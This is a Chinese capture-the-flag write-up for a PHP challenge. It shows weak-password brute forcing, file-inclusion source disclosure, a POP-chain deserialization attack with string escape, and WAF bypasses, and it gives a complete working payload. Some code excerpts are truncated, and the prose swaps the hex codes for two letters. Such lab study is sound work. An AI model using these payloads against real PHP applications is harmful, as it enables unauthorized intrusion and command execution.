本题考察了很多知识点:
1、pop链的构造
2、字符串逃逸反序列化(多变少)
3、弱密码爆破
4、_ wakeup()的绕过,大小写绕过等
打开题目是一个登录界面,查看页面源代码没有什么提示,扫目录也没有敏感文件,那就尝试爆破一下,发现账号是:admin;密码是:admin888
登进去好像没有变化,但是查看页面源代码会发现一个疑似文件包含的点,访问一下
发现这里确实是一个文件包含,那用filter伪协议来读一下index.php
将得到的base64码解码之后再去掉冗余的部分得到以下代码
checkStatus();
if ($loginStatus){
$_SESSION['login'] = true;
$_COOKIE['status'] = 0;
}
$finish = true;
}
?>
这是登录界面的功能,里面包含了class.php, ezwaf.php我们还是同样的方法都获取一下
//class.php
user_name=$username;
$this->pass_word=$password;
if ($this->user_name=='admin'&&$this->pass_word=='admin888'){
$this->admin = 1;
}else{
$this->admin = 0;
}
}
public function checkStatus(){
return $this->admin;
}
}
class register{
protected $username;
protected $password;
protected $mobile;
protected $mdPwd;
public function __construct($username,$password,$mobile){
$this->username = $username;
$this->password = $password;
$this->mobile = $mobile;
}
public function __toString(){
return $this->mdPwd->pwd;
}
}
class magic{//target
protected $username;
public function __get($key){
if ($this->username!=='admin'){
die("what do you do?");
}
$this->getFlag($key);
}
public function getFlag($key){
echo $key."";
system("cat /flagg");
}
}
class PersonalFunction{
protected $username;
protected $password;
protected $func = array();
public function __construct($username, $password,$func = "personalData"){
$this->username = $username;
$this->password = $password;
$this->func[$func] = true;
}
public function checkFunction(array $funcBars) {
$retData = null;
$personalProperties = array_flip([
'modifyPwd', 'InvitationCode',
'modifyAvatar', 'personalData',
]);
foreach ($personalProperties as $item => $num){
foreach ($funcBars as $funcBar => $stat) {
if (stristr($stat,$item)){
$retData = true;
}
}
}
return $retData;
}
public function doFunction($function){
// TODO: 出题人提示:一个未完成的功能,不用管这个,单纯为了逻辑严密.
return true;
}
public function __destruct(){
$retData = $this->checkFunction($this->func);
$this->doFunction($retData);
}
}
class.php有好几个类,我们输入的用户名和密码会先传到class.php类里面序列化,我们看到在magic类中有system命令可以打印flag,那调用magic类的getFlag()方法就是我们的目标,但getFlag()方法是普通方法所以就需要构造pop链来进行调用。
所以现在需要访问magic类中一个不存在的属性即可调用到_get()魔术方法
在register类中的_toString()魔术方法中有调用属性的操作,而magic类中不存在pwd属性,所以让mdPwd作为magic的一个对象就可以触发magic类的_get()魔术方法。
在PersonalFunction类中的checkFunction()方法中有stristr()函数,该函数时处理字符串的函数,所以将register类的对象经过该函数处理就能够触发_toString()魔术方法了,而checkFunction()方法又被_destruct(),魔术方法调用,至此pop链逻辑已经清晰了
PersonalFunction类->register类->magic类
构造pop链脚本如下
username = "admin";
$this->password = "123";
$this->mobile = "133";
$this->mdPwd = new magic();
}
}
class magic{
protected $username="admin";
}
class PersonalFunction{
protected $username;
protected $password;
protected $func;
public function __construct($func){
$this->username = "admin";
$this->password = "123";
$this->func=$func;
}
}
$b=new register();
$a=array($b);
$c=new PersonalFunction($a);
echo serialize($c);
得到的序列化后的结果如下,%00是空白字符的url编码表示,所以%00实际是1位,在浏览器中%00会被自动解析所以看不见
看index.php,我们如果直接把以上序列化后的结果直接当作用户名或者密码的值传入的话,会被当作普通的字符串,所以这里就需要进行字符串逃逸
//ezwaf.php
分析ezwaf.php中的get()方法会将‘forfun’六个字符替换成‘%00*%00’三个字符,这里就可以进行字符串的逃逸,checkData()方法要求传入的不能包含‘username’和‘password’这个可以用Hex编码绕过,checkLogData()方法过滤三个类名但是它不分大小写,所以可以用大小写绕过,我们将构造好的序列化值作为password传入看下。
显然我们传入的序列化值被当成了普通字符串,所以要设法逃逸,让pass
_word的值为对象,所以在我们构造的序列化值前加上 1";s:12:"%00*%00pass_word"; 这一串然后再传入看一下结果
要想让我们传入的值生效就要让红框框选的30个字符成为user_name的内容,这时候就要利用刚刚ezwaf.php中的get()方法了,我们在给username传入10个forfun(共60位),经过get()方法后就会被替换成10个%00*%00(共30位)这样剩下的30个空位就会将我们框选的内容划归到user_name中从而让我们构造的序列化值生效
username=forfunforfunforfunforfunforfunforfunforfunforfunforfunforfun&password=1";s:12:"%00*%00pass_word";O:16:"PersonalFunction":3:{s:11:"%00*%00username";s:5:"admin";s:11:"%00*%00password";s:3:"123";s:7:"%00*%00func";a:1:{i:0;O:8:"register":4:{s:11:"%00*%00username";s:5:"admin";s:11:"%00*%00password";s:3:"123";s:9:"%00*%00mobile";s:3:"133";s:8:"%00*%00mdPwd";O:5:"magic":1:{s:11:"%00*%00username";s:5:"admin";}}}}
所以初步构造的payload如上,但还要绕过ezwaf.php中的checkData和checkLogData,绕过checkData可以将username和password的首字母用16进制形式代替即password=\75; username=\70然后把序列化中的s改为S这样才能解析十六进制,绕过checkLogData将大写改为小写即可,所以最终的payload为
username=forfunforfunforfunforfunforfunforfunforfunforfunforfunforfun&password=1";S:12:"%00*%00pass_word";O:16:"PerSonalFuNction":3:{S:11:"%00*%00username";S:3:"lfl";S:11:"%00*%00\70assword";S:3:"123";S:7:"%00*%00func";a:1:{i:0;O:8:"rEgister":4:{S:11:"%00*%00\75sername";S:3:"lfl";S:11:"%00*%00\70assword";S:3:"123";S:9:"%00*%00mobile";S:3:"133";S:8:"%00*%00mdPwd";O:5:"Magic":1:{S:11:"%00*%00\75sername";S:5:"admin";}}}}
因为浏览器会自动解析%00所以直接用burp传过去,就得到flag啦